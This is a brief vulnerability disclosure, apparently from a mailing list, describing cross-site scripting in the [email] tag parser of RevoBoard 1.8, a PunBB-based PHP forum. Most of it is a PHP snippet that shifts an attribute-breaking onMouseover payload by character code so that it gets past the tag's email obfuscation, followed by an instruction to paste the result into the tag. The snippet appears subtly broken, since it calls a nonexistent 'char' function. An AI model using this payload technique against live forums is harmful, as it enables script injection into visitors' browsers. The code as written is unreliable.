RevoBoard [email] tag XSS

[r0xes.ratm@gmail.com]

Revoboard (php) is based on an earlier version of PunBB.
I know for sure that this affects v1.8.

The email tag parser obsfucates emails to stop harvesters. To execute code, do this:


$code = '\'" onMouseover="javascript:alert(/xss/)">';
for($a=0;$a<strlen($code);$a++){
$c = ord(substr($code,$a,1));
$c += intval(-2);
$str .= char($c);
}
print $str;


And you just paste $str into the tag =).
